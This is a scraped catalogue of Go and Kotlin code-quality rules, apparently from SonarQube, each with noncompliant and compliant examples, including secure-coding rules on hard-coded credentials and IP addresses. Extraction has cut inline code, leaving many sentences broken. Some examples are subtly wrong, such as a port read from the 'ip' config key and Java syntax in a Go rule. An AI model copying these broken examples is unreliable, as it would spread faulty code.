||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Examplevar target, num = -5, 3 target =- num // Noncompliant; target = -3. Is that really what's meant? target =+ num // Noncompliant; target = 3 Compliant Solutionvar target, num = -5, 3 target = -num // Compliant; intent to assign inverse value of num is clear target += num |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression: func execute_all() { ... } Compliant Solutionfunc executeAll() { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Examplefoo(); bar() // Noncompliant Compliant Solutionfoo() bar() ExceptionsControl flow statements with a single nested statement are ignored. if condition { doSomething() } // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1186 |
There are several reasons for a method not to have a method body:
Noncompliant Code Examplefunc doNothing() { // Noncompliant } Compliant Solutionfunc doNothing() { // Do nothing because of X and Y. } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. Noncompliant Code ExampleWith the default threshold value of 3: if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... } Compliant Solutionif ( (myFirstCondition() || mySecondCondition()) && myLastCondition()) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code Exampleif true { doSomething() } if false { doSomething() } Compliant SolutiondoSomething(); ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1125 |
Redundant Boolean literals should be removed from expressions to improve readability. Noncompliant Code Exampleif boolFunc() || false { // ... } flag := x && true Compliant Solutionif boolFunc() { // ... } flag := x |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1862 |
A chain of Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. Noncompliant Code Examplefunc example(condition1, condition2 bool) { if condition1 { } else if condition1 { // Noncompliant } } func SwitchWithMultipleConditions(param int) { switch param { case 1, 2, 3: fmt.Println(">1") case 3, 4, 5: // Noncompliant; 3 is duplicated fmt.Println("<1") } } Compliant Solutionfunc example(condition1, condition2 bool) { if condition1 { } else if condition2 { // Compliant } } func SwitchWithMultipleConditions(param int) { switch param { case 1, 2, 3: fmt.Println(">1") case 4, 5: // Compliant fmt.Println("<1") } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1763 |
Jump statements ( Noncompliant Code Examplefunc add(x, y int) int { return x + y // Noncompliant z := x + y // dead code } Compliant Solutionfunc add(x, y int) int { return x + y // Compliant } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif ( !(a == 2)) { ...} // Noncompliant boolean b = !(i < 10); // Noncompliant Compliant Solutionif (a != 2) { ...} boolean b = (i >= 10); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. Noncompliant Code Examplefunc main() { v1 := (true && false) && (true && false) // Noncompliant } Compliant Solutionfunc main() { v1 := (true && false) // Compliant } ExceptionsThis rule ignores See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefunc compute(a int, b int) { sum := a + b if sum > 0 { } // Noncompliant; empty on purpose or missing piece of code? fmt.Println("Result:", sum) } Compliant Solutionfunc compute(a int, b int) { sum := a + b if sum > 0 { fmt.Println("Positive result") } fmt.Println("Result:", sum) } ExceptionsWhen a block contains a comment, this block is not considered to be empty. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: func foo(p1 int, p2 int, p3 int, p4 int, p5 int) { // Noncompliant // ... } Compliant Solutionfunc foo(p1 int, p2 int, p3 int, p4 int) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif x == 0 { doSomething() } else if x == 1 { doSomethingElse() } Compliant Solutionif x == 0 { doSomething() } else if x == 1 { doSomethingElse() } else { return errors.New("unsupported int") } ExceptionsWhen all branches of an See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. Noncompliant Code ExampleWith the default threshold of 3: func run() { prepare("This should be a constant") // Noncompliant; 'This should ...' is duplicated 3 times execute("This should be a constant") release("This should be a constant") } Compliant Solutionconst ACTION = "This should be a constant" func run() { prepare(ACTION) execute(ACTION) release(ACTION) } ExceptionsTo prevent generating some false-positives, literals having 5 or less characters are excluded as well as literals containing only letters, digits and '_'. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1151 |
The Noncompliant Code ExampleWith the default threshold of 5: func foo(tag int) { switch tag { case 0: methodCall1() methodCall2() methodCall3() methodCall4() methodCall5() methodCall6() case 1: bar() } } Compliant Solutionfunc foo(tag int) { switch tag { case 0: executeAll() case 1: bar() } } func executeAll() { methodCall1() methodCall2() methodCall3() methodCall4() methodCall5() methodCall6() } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1314 |
Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values. Noncompliant Code Examplefunc printTen() { myNumber := 010 // Noncompliant. myNumber will hold 8, not 10 - was this really expected? fmt.Println(myNumber) } Compliant Solutionfunc printTen() { myNumber := 10 fmt.Println(myNumber) } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1479 |
When |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Examplefunc (user *User) rename(name string) { name = name // Noncompliant } Compliant Solutionfunc (user *User) rename(name string) { user.name = name } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:ParsingError |
When the parser fails, it is possible to record the failure as an issue on the file. This way, not only is it possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S4663 |
An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed. Noncompliant Code Example/* */ /* */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S134 |
Nested Such code is hard to read, refactor and therefore maintain. Noncompliant Code ExampleWith the default threshold of 3: if condition1 { // Compliant - depth = 1 /* ... */ if condition2 { // Compliant - depth = 2 /* ... */ for i := 1; i <= 10; i++ { // Compliant - depth = 3, not exceeding the limit /* ... */ if condition4 { // Noncompliant - depth = 4 if condition5 { // Depth = 5, exceeding the limit, but issues are only reported on depth = 4 /* ... */ } return } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S4144 |
When two functions have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Noncompliant Code Examplefunc fun1() (x, y int) { a, b := 1, 2 b, a = a, b return a, b } func fun2() (x, y int) { // Noncompliant; fun1 and fun2 have identical implementations a, b := 1, 2 b, a = a, b return a, b } Compliant Solutionfunc fun1() (x, y int) { a, b := 1, 2 b, a = a, b return a, b } func fun2() (x, y int) { // Compliant return fun1() } ExceptionsFunctions with fewer than 2 statements are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database or secret management service. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplefunc connect() { user := "root" password:= "supersecret" // Sensitive url := "login=" + user + "&passwd=" + password } Compliant Solutionfunc connect() { user := getEncryptedUser() password:= getEncryptedPass() // Compliant url := "login=" + user + "&passwd=" + password } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S131 |
The requirement for a final Noncompliant Code Exampleswitch tag { // Noncompliant - default case is missing case 0, 1, 2, 3: foo() case 4, 5, 6, 7: bar() } Compliant Solutionswitch tag { case 0, 1, 2, 3: foo() case 4, 5, 6, 7: bar() default: qix() } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Examplefunc foo(a bool, y int) int { x := (y / 2 + 1) //Compliant even if the parenthesis are ignored by the compiler if a && ((x+y > 0)) { // Noncompliant //... } return ((x + 1)) // Noncompliant } Compliant Solutionfunc foo(a bool, y int) int { x := (y / 2 + 1) if a && (x+y > 0) { //... } return (x + 1) } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1871 |
Having two Noncompliant Code Exampleswitch i { case 1: doFirstThing() doSomething() case 2: doSomethingElse() case 3: // Noncompliant; duplicates case 1's implementation doFirstThing() doSomething() default: doTheRest() } if a >= 0 && a < 10 { doFirstThing() doSomething() } else if a >= 10 && a < 20 { doSomethingElse() } else if a >= 20 && a < 50 { doFirstThing() doSomething() // Noncompliant; duplicates first condition } else { doTheRest() } ExceptionsBlocks in an if a == 1 { doSomething() //no issue, usually this is done on purpose to increase the readability } else if a == 2 { doSomethingElse() } else { doSomething() } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefunc foo() { // FIXME } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefunc foo() { // TODO } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
go:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Ask Yourself WhetherThe disclosed IP address is sensitive, eg:
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesDon't hard-code the IP address in the source code, instead make it configurable. Sensitive Code Examplevar ( ip = "192.168.12.42" port = 3333 ) SocketClient(ip, port) Compliant Solutionconfig, err := ReadConfig("properties.ini") ip := config["ip"] port := config["ip"] SocketClient(ip, port) ExceptionsNo issue is reported for the following cases because they are not considered sensitive:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S117 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S138 |
A function that grows too large tends to aggregate too many responsibilities. Such functions inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks. Those smaller functions will not only be easier to understand, but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Examplefun foo(n: Int, m: Int) { when (n) { 0 -> when (m) { // Noncompliant; nested when // ... } 1 -> print("1") else -> print("2") } } Compliant Solutionfun foo(n: Int, m: Int) { when (n) { 0 -> bar(m) 1 -> print("1") else -> print("2") } } fun bar(m: Int){ when(m) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S3923 |
Having all branches in a Noncompliant Code Exampleif (b == 0) { // Noncompliant doOneMoreThing() } else { doOneMoreThing() } when (i) { // Noncompliant 1 -> doSomething() 2 -> doSomething() 3 -> doSomething() else -> doSomething() } ExceptionsThis rule does not apply to if (b == 0) { doOneMoreThing() } else if (b == 1) { doOneMoreThing() } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Examplevar target = -5 val num = 3 target =- num // Noncompliant; target = -3. Is that really what's meant? target =+ num // Noncompliant; target = 3 Compliant Solutionvar target = -5 val num = 3 target = -num // Compliant; intent to assign inverse value of num is clear target += num |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Examplefoo(); bar(); Compliant Solutionfoo(); bar(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression class my_class {...} Compliant Solutionclass MyClass {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1186 |
There are several reasons for a function not to have a function body:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1066 |
Merging collapsible Noncompliant Code Exampleif (file != null) { if (file.isFile() || file.isDirectory()) { /* ... */ } } Compliant Solutionif (file != null && isFileOrDirectory(file)) { /* ... */ } fun isFileOrDirectory(file: File): Boolean { return file.isFile() || file.isDirectory(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. Noncompliant Code ExampleWith the default threshold value of 3: if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... } Compliant Solutionif ((myFirstCondition() || mySecondCondition()) && myLastCondition()) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1144 |
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code Exampleif (true) { doSomething() } ... if (false) { doSomethingElse() } Compliant SolutiondoSomething() ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1125 |
Redundant Boolean literals should be removed from expressions to improve readability. Noncompliant Code Exampleif (booleanMethod() || false) { /* ... */ } doSomething(!false); booleanVariable = if (booleanMethod()) true else false; booleanVariable = if (booleanMethod()) true else exp; booleanVariable = if (booleanMethod()) false else exp; booleanVariable = if (booleanMethod()) exp else true; booleanVariable = if (booleanMethod()) exp else false; Compliant Solutionif (booleanMethod()) { /* ... */ } doSomething(true); booleanVariable = booleanMethod(); booleanVariable = booleanMethod() || exp; booleanVariable = !booleanMethod() && exp; booleanVariable = !booleanMethod() || exp; booleanVariable = booleanMethod() && exp; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1763 |
Jump statements ( Noncompliant Code Examplefun foo(a: Int): Int { var i = 10; return a + i; // Noncompliant i++; // dead code } Compliant Solutionfun foo(a: Int): Int { var i = 10; return a + i; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1862 |
A chain of Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif (!(a == 2)) { ... } // Noncompliant val b = !(i < 10) // Noncompliant Compliant Solutionif (a != 2) { ... } val b = (i >= 10) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. ExceptionsThis rule ignores See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefor (int i = 0; i < 42; i++){} // Empty on purpose or missing piece of code ? ExceptionsWhen a block contains a comment, this block is not considered to be empty.
while (order.processNext()); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: fun foo(p1: String, p2: String, p3: String, p4: String, p5: String) { // Noncompliant // ... } Compliant Solutionfun foo(p1: String, p2: String, p3: String, p4: String) { // ... } ExceptionsMethods annotated with Spring's |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif (x == 0) { doSomething() } else if (x == 1) { doSomethingElse() } Compliant Solutionif (x == 0) { doSomething() } else if (x == 1) { doSomethingElse() } else { throw IllegalStateException() } ExceptionsWhen all branches of an See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. Noncompliant Code ExampleWith the default threshold of 3: class A { fun run() { prepare("string literal") // Noncompliant - "string literal" is duplicated 3 times execute("string literal") release("string literal") } fun method() { println("'") // Compliant - literal "'" has less than 5 characters and is excluded println("'") println("'") } } Compliant Solutionclass A { companion object { const val CONSTANT = "string literal" } fun run() { prepare(CONSTANT) // Compliant execute(CONSTANT) release(CONSTANT) } } ExceptionsTo prevent generating some false-positives, literals having 5 or less characters are excluded as well as literals containing only letters, digits and '_'. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1172 |
Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1151 |
The Noncompliant Code ExampleWith the threshold set at 5: when (myVariable) { 0 -> {// Noncompliant: 6 lines till next case methodCall1(""); methodCall2(""); methodCall3(""); methodCall4(""); } 1 -> { ... } } Compliant Solutionwhen (myVariable) { 0 -> doSomething() 1 -> { ... } } ... fun doSomething() { methodCall1(""); methodCall2(""); methodCall3(""); methodCall4(""); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1479 |
When |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Examplefun doSomething() { var name = "" // ... name = name } Compliant Solutionfun doSomething() { var name = "" // ... this.name = name } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:ParsingError |
When the parser fails, it is possible to record the failure as an issue on the file. This way, not only is it possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S4663 |
An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed. Noncompliant Code Example/* */ /* */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S134 |
Nested Such code is hard to read, refactor and therefore maintain. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S4144 |
When two functions have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, the code should be refactored. Noncompliant Code Exampleclass MyClass { fun calculateCode(): String { doTheThing() doOtherThing() return "done" } fun getStatus(): String { // Noncompliant doTheThing() doOtherThing() return "done" } } Compliant Solutionclass MyClass { fun calculateCode(): String { doTheThing() doOtherThing() return "done" } fun getStatus(): String = calculateCode() } ExceptionsMethods with fewer than 2 statements are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1451 |
